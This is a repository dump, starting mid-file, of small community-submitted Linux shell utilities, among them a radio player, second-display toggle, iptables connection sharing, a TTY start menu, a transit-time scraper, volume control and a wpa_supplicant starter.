LOGOUT_COMMAND = " ".join(sys.argv[1:]) 119 | 120 | main() -------------------------------------------------------------------------------- /radio_player.sh: -------------------------------------------------------------------------------- 1 | #submited by venam 2 | #require mplayer and a file with radio stations named radio 3 | echo -e "\\e[0;0m\n$(cat -b radiostation|sed 's/http:/\\e[1;35m--- \\e[0;0mhttp:/')\n\n[\\e[0;34m*\\e[0;0m] Number of the radio you want to listen to:\\e[1;32m";read -p "=> " radio;mplayer $(head -n $radio radiostation | tail -1) 4 | -------------------------------------------------------------------------------- /second_screen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #submited by matt 3 | # enable second display with xrandr 4 | 5 | # check VGA is connected 6 | VGA=`xrandr | grep VGA1 | awk '{print $2}'` 7 | 8 | if [ $1 == '-1' ] ; then 9 | echo -e "\n[+] Disabling Second Display\n" 10 | sleep 1 11 | xrandr --output LVDS1 --auto --output VGA1 --off 12 | sleep 1 13 | else 14 | if [ $1 == '-2' ] ; then 15 | if [ $VGA == 'connected' ] ; then 16 | echo -e "\n[+] Enabling Second Display\n" 17 | sleep 1 18 | xrandr --output LVDS1 --auto --output VGA1 --auto --right-of LVDS1 19 | sleep 1 20 | fi 21 | fi 22 | fi 23 | -------------------------------------------------------------------------------- /share_internet_connection.sh: -------------------------------------------------------------------------------- 1 | #submited by venam 2 | #require iptables 3 | case "$1" in 4 | start) 5 | ifconfig eth0 up 6 | ifconfig eth0 192.168.1.1 7 | iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE 8 | iptables --append FORWARD --in-interface eth0 -j ACCEPT 9 | echo 1 > /proc/sys/net/ipv4/ip_forward 10 | echo "set other computers in the range of" 11 | echo "192.168.1.1 255.255.255.0" 12 | echo "subnet : 255.255.255.255" 13 | echo "gateway 192.168.1.1" 14 | echo "dns 192.168.0.1" #this is my router's ip, you should use yours or another dns server but it's better to use the router 15 | ;; 16 | stop) 17 | echo 0 > /proc/sys/net/ipv4/ip_forward 18 | ifconfig eth0 down 19 | iptables --table nat --delete POSTROUTING --out-interface wlan0 -j MASQUERADE 20 | ;; 21 | *) 22 | echo "usage: $0 {start|stop}" 23 | ;; 24 | esac 25 | -------------------------------------------------------------------------------- /startmenu: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | # I have this automatically run once I logon to a TTY 3 | # List options after logon to startx or screen etc 4 | while :; do 5 | clear 6 | screenfetch 7 | echo "[1] X session" 8 | echo "[2] Z shell" 9 | echo "[3] Screen session" 10 | echo "[4] Suspend" 11 | echo "[5] Hibernate" 12 | echo "[6] Reboot" 13 | echo "[7] Shut down" 14 | read action 15 | clear 16 | case "$action" in 17 | 1) startx ;; 18 | 2) zsh ;; 19 | 3) screen -r || ( screen -x || screen ) ;; 20 | 4) sudo pm-suspend ;; 21 | 5) sudo pm-hibernate ;; 22 | 6) sudo reboot ;; 23 | 7) sudo shutdown now -h ;; 24 | *) which ${action[0]} &> /dev/null && $action 25 | esac 26 | done -------------------------------------------------------------------------------- /train_subway_time.sh: -------------------------------------------------------------------------------- 1 | #submited by TheHotBot 2 | #!/bin/bash 3 | 4 | while clear; do 5 | OUT1=`links -dump -codepage iso-8859-1 "http://mobilrt.sl.se/?tt=BUS|METRO|TRAIN|TRAM&ls=&SiteId=3761&name=QmVyZ2VuZ2F0YW4gKFN0b2NraG9sbSk%3d"|tail -n +8|egrep -ve 'IMG|s.kning|2011|Start|mobil|Realtidsinformation|G*ller endast buss|Upp$|*kning|Du har valt'` 6 | 7 | echo "$OUT1" | perl -ne ' 8 | if (/((?:.+)\s+)(\d+)(\s+min.*)$/) { 9 | %ctable = ( 10 | map(($_ => "1;31"), 1..3), 11 | map(($_ => 31), 4..7), 12 | map(($_ => 33), 8..10), 13 | map(($_ => 32), 11..15), 14 | ); 15 | 16 | $ctime = $ctable{$2} || 34; 17 | 18 | print "$1\033[${ctime}m$2$3\033[m\n"; 19 | } 20 | else { 21 | print; 22 | } 23 | ' 24 | OUT=`links -dump -codepage iso-8859-1 "http://mobilrt.sl.se/?tt=BUS|METRO|TRAIN|TRAM&ls=&SiteId=9301&name=SHVzYnkgKFN0b2NraG9sbSk%3d"|tail -n +8|egrep -ve 'IMG|s.kning|2011|Start|mobil|Realtidsinformation|G*ller endast buss|Upp$|*kning|Du har valt|Uppdaterat'` 25 | 26 | echo "$OUT" | perl -ne ' 27 | if (/((?:.+)\s+)(\d+)(\s+min.*)$/) { 28 | %ctable = ( 29 | map(($_ => "1;31"), 1..3), 30 | map(($_ => 31), 4..7), 31 | map(($_ => 33), 8..10), 32 | map(($_ => 32), 11..15), 33 | ); 34 | 35 | $ctime = $ctable{$2} || 34; 36 | 37 | print "$1\033[${ctime}m$2$3\033[m\n"; 38 | } 39 | else { 40 | print; 41 | } 42 | ' 43 | sleep 60 44 | done 45 | -------------------------------------------------------------------------------- /twitter_stats.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Send system info to twitter. 4 | # 5 | #submited by matt 6 | # Requires twidge application and lm-sensors 7 | 8 | CPUTEMP=$(sensors | grep -i "cpu temp" | awk '{print $3}' | sed 's/+//' | sed 's/°C//') 9 | MBTEMP=$(sensors | grep -i "mb temp" | awk '{print $3}' | sed 's/+//' | sed 's/°C//') 10 | FREEMEM=$(free -m | head -2 | sed 's/Mem://' | awk '{print $3}' | grep '[^a-z A-Z]') 11 | USERS=$(who | wc -l) 12 | 13 | # post tweet 14 | twidge update "$USERS User(s) - CPU Temp: $CPUTEMP*c - MB Temp: $MBTEMP*c - Free mem: $FREEMEM mb" 15 | -------------------------------------------------------------------------------- /volume.sh: -------------------------------------------------------------------------------- 1 | #submited by htor 2 | 3 | vol() 4 | { 5 | err="usage: vol [-d|--down]|[-u|--up]" 6 | test $# -ne 1 && echo $err && exit 1 7 | 8 | case $1 in 9 | -d|--down) amixer set Master unmute 10%- -q ;; 10 | -u|--up) amixer set Master unmute 10%+ -q ;; 11 | -m|--mute) amixer set Master mute -q ;; 12 | *) echo $err 13 | esac 14 | 15 | vl="$(amixer get Master | egrep -o '[0-9]+%' | head -1 | tr -d %)" 16 | echo -e "\n\e[1;35m|--\e[0;0m Volume is\e[1;32m $vl\e[1;35m --|\e[0;0m\n" 17 | } 18 | -------------------------------------------------------------------------------- /wpa_supplicant_starter.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #submited by Shiru 3 | 4 | CONFIG=/etc/wpa_supplicant.conf 5 | 6 | killall wpa_supplicant >/dev/null 2>/dev/null 7 | killall dhcpcd >/dev/null 2>/dev/null 8 | 9 | if [ $EUID -ne 0 ]; then 10 | echo "You need to be root to run this" 1>&2 11 | exit 1 12 | fi 13 | 14 | if [ ! -f $CONFIG ]; then 15 | echo "Configuration file not found at: $CONFIG" 1>&2 16 | exit 2 17 | fi 18 | 19 | echo -n "Starting wpa_supplicant... " 20 | wpa_supplicant -i wlan0 -B -Dwext -c $CONFIG 21 | 22 | if [ $? -ne 0 ]; then 23 | echo "Failed" 24 | exit 3 25 | fi 26 | 27 | echo "Done" 28 | 29 | echo -n "Starting dhcp... " 30 | 31 | dhcpcd wlan0 >/dev/null 2>/dev/null 32 | 33 | if [ $? -ne 0 ]; then 34 | echo "Failed" 35 | exit 4 36 | fi 37 | 38 | echo "Done" 39 | 40 | exit 0 41 | --------------------------------------------------------------------------------